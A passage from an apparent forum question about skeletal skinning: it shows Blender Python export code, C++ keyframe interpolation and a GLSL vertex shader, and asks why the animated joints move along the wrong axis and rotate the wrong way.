transformed from model space to joint space. But I also said in 1 that v needs to be transformed from world to joint space. So basically I'm not sure if I need to do v' = Cj * Bj^-1 * v or v' = Cj * Bj^-1 * M * v. Right now my implementation multiples v' by M and not v. But I've tried changing this and it just screws things up in a different way cause there's something else wrong. Finally, If we wanted to skin a vertex to a joint j1 which in turn is a child of a joint j0, Bj1 would be Bj0 * Bj1 and Cj1 would be Cj0 * Cj1. But Since skinning is defined as v' = Cj * Bj^-1 * v , Bj1^-1 would be the reverse concatenation of the inverses making up the original product. That is, v' = Cj0 * Cj1 * Bj1^-1 * Bj0^-1 * v Now on to the implementation (Blender side): Assume the following mesh made up of 1 cube, whose vertices are bound to a single joint in a single-joint skeleton: Assume also there's a 60-frame, 3-keyframe animation at 60 fps. The animation essentially is: keyframe 0: the joint is in bind / rest pose (the way you see it in the image). keyframe 30: the joint translates up (+z in blender) some amount and at the same time rotates pi/4 rad clockwise. keyframe 59: the joint goes back to the same configuration it was in keyframe 0. My first source of confusion on the blender side is its coordinate system (as opposed to OpenGL's default) and the different matrices accessible through the python api. Right now, this is what my export script does about translating blender's coordinate system to OpenGL's standard system: # World transform: Blender -> OpenGL worldTransform = Matrix().Identity(4) worldTransform *= Matrix.Scale(-1, 4, (0,0,1)) worldTransform *= Matrix.Rotation(radians(90), 4, "X") # Mesh (local) transform matrix file.write('Mesh Transform:\n') localTransform = mesh.matrix_local.copy() localTransform = worldTransform * localTransform for col in localTransform.col: file.write('{:9f} {:9f} {:9f} {:9f}\n'.format(col[0], col[1], col[2], col[3])) file.write('\n') So if you will, my "world" matrix is basically the act of changing blenders coordinate system to the default GL one with +y up, +x right and -z into the viewing volume. Then I also premultiply (in the sense that it's done by the time we reach the engine, not in the sense of post or pre in terms of matrix multiplication order) the mesh matrix M so that I don't need to multiply it again once per draw call in the engine. About the possible matrices to extract from Blender joints (bones in Blender parlance), I'm doing the following: For joint bind poses: def DFSJointTraversal(file, skeleton, jointList): for joint in jointList: bindPoseJoint = skeleton.data.bones[joint.name] bindPoseTransform = bindPoseJoint.matrix_local.inverted() file.write('Joint ' + joint.name + ' Transform {\n') translationV = bindPoseTransform.to_translation() rotationQ = bindPoseTransform.to_3x3().to_quaternion() scaleV = bindPoseTransform.to_scale() file.write('T {:9f} {:9f} {:9f}\n'.format(translationV[0], translationV[1], translationV[2])) file.write('Q {:9f} {:9f} {:9f} {:9f}\n'.format(rotationQ[1], rotationQ[2], rotationQ[3], rotationQ[0])) file.write('S {:9f} {:9f} {:9f}\n'.format(scaleV[0], scaleV[1], scaleV[2])) DFSJointTraversal(file, skeleton, joint.children) file.write('}\n') Note that I'm actually grabbing the inverse of what I think is the bind pose transform Bj. This is so I don't need to invert it in the engine. Also note I went for matrix_local, assuming this is Bj. The other option is plain "matrix", which as far as I can tell is the same only that not homogeneous. For joint current / keyframe poses: for kfIndex in keyframes: bpy.context.scene.frame_set(kfIndex) file.write('keyframe: {:d}\n'.format(int(kfIndex))) for i in range(0, len(skeleton.data.bones)): file.write('joint: {:d}\n'.format(i)) currentPoseJoint = skeleton.pose.bones[i] currentPoseTransform = currentPoseJoint.matrix translationV = currentPoseTransform.to_translation() rotationQ = currentPoseTransform.to_3x3().to_quaternion() scaleV = currentPoseTransform.to_scale() file.write('T {:9f} {:9f} {:9f}\n'.format(translationV[0], translationV[1], translationV[2])) file.write('Q {:9f} {:9f} {:9f} {:9f}\n'.format(rotationQ[1], rotationQ[2], rotationQ[3], rotationQ[0])) file.write('S {:9f} {:9f} {:9f}\n'.format(scaleV[0], scaleV[1], scaleV[2])) file.write('\n') Note that here I go for skeleton.pose.bones instead of data.bones and that I have a choice of 3 matrices: matrix, matrix_basis and matrix_channel. From the descriptions in the python API docs I'm not super clear which one I should choose, though I think it's the plain matrix. Also note I do not invert the matrix in this case. The implementation (Engine / OpenGL side): My animation subsystem does the following on each update (I'm omitting parts of the update loop where it's figured out which objects need update and time is hardcoded here for simplicity): static double time = 0; time = fmod((time + elapsedTime),1.); uint16_t LERPKeyframeNumber = 60 * time; uint16_t lkeyframeNumber = 0; uint16_t lkeyframeIndex = 0; uint16_t rkeyframeNumber = 0; uint16_t rkeyframeIndex = 0; for (int i = 0; i < aClip.keyframesCount; i++) { uint16_t keyframeNumber = aClip.keyframes[i].number; if (keyframeNumber <= LERPKeyframeNumber) { lkeyframeIndex = i; lkeyframeNumber = keyframeNumber; } else { rkeyframeIndex = i; rkeyframeNumber = keyframeNumber; break; } } double lTime = lkeyframeNumber / 60.; double rTime = rkeyframeNumber / 60.; double blendFactor = (time - lTime) / (rTime - lTime); GLKMatrix4 bindPosePalette[aSkeleton.jointsCount]; GLKMatrix4 currentPosePalette[aSkeleton.jointsCount]; for (int i = 0; i < aSkeleton.jointsCount; i++) { F3DETQSType& lPose = aClip.keyframes[lkeyframeIndex].skeletonPose.joints[i]; F3DETQSType& rPose = aClip.keyframes[rkeyframeIndex].skeletonPose.joints[i]; GLKVector3 LERPTranslation = GLKVector3Lerp(lPose.t, rPose.t, blendFactor); GLKQuaternion SLERPRotation = GLKQuaternionSlerp(lPose.q, rPose.q, blendFactor); GLKVector3 LERPScaling = GLKVector3Lerp(lPose.s, rPose.s, blendFactor); GLKMatrix4 currentTransform = GLKMatrix4MakeWithQuaternion(SLERPRotation); currentTransform = GLKMatrix4TranslateWithVector3(currentTransform, LERPTranslation); currentTransform = GLKMatrix4ScaleWithVector3(currentTransform, LERPScaling); GLKMatrix4 inverseBindTransform = GLKMatrix4MakeWithQuaternion(aSkeleton.joints[i].inverseBindTransform.q); inverseBindTransform = GLKMatrix4TranslateWithVector3(inverseBindTransform, aSkeleton.joints[i].inverseBindTransform.t); inverseBindTransform = GLKMatrix4ScaleWithVector3(inverseBindTransform, aSkeleton.joints[i].inverseBindTransform.s); if (aSkeleton.joints[i].parentIndex == -1) { bindPosePalette[i] = inverseBindTransform; currentPosePalette[i] = currentTransform; } else { bindPosePalette[i] = GLKMatrix4Multiply(inverseBindTransform, bindPosePalette[aSkeleton.joints[i].parentIndex]); currentPosePalette[i] = GLKMatrix4Multiply(currentPosePalette[aSkeleton.joints[i].parentIndex], currentTransform); } aSkeleton.skinningPalette[i] = GLKMatrix4Multiply(currentPosePalette[i], bindPosePalette[i]); } Finally, this is my vertex shader: #version 100 uniform mat4 modelMatrix; uniform mat3 normalMatrix; uniform mat4 projectionMatrix; uniform mat4 skinningPalette[6]; uniform lowp float skinningEnabled; attribute vec4 position; attribute vec3 normal; attribute vec2 tCoordinates; attribute vec4 jointsWeights; attribute vec4 jointsIndices; varying highp vec2 tCoordinatesVarying; varying highp float lIntensity; void main() { tCoordinatesVarying = tCoordinates; vec4 skinnedVertexPosition = vec4(0.); for (int i = 0; i < 4; i++) { skinnedVertexPosition += jointsWeights[i] * skinningPalette[int(jointsIndices[i])] * position; } vec4 skinnedNormal = vec4(0.); for (int i = 0; i < 4; i++) { skinnedNormal += jointsWeights[i] * skinningPalette[int(jointsIndices[i])] * vec4(normal, 0.); } vec4 finalPosition = mix(position, skinnedVertexPosition, skinningEnabled); vec4 finalNormal = mix(vec4(normal, 0.), skinnedNormal, skinningEnabled); vec3 eyeNormal = normalize(normalMatrix * finalNormal.xyz); vec3 lightPosition = vec3(0., 0., 2.); lIntensity = max(0.0, dot(eyeNormal, normalize(lightPosition))); gl_Position = projectionMatrix * modelMatrix * finalPosition; } The result is that the animation displays wrong in terms of orientation. That is, instead of bobbing up and down it bobs in and out (along what I think is the Z axis according to my transform in the export clip). And the rotation angle is counterclockwise instead of clockwise. If I try with a more than one joint, then it's almost as if the second joint rotates in it's own different coordinate space and does not follow 100% its parent's transform. Which I assume it should from my animation subsystem which I assume in turn follows the theory I explained for the case of more than one joint. Any thoughts?

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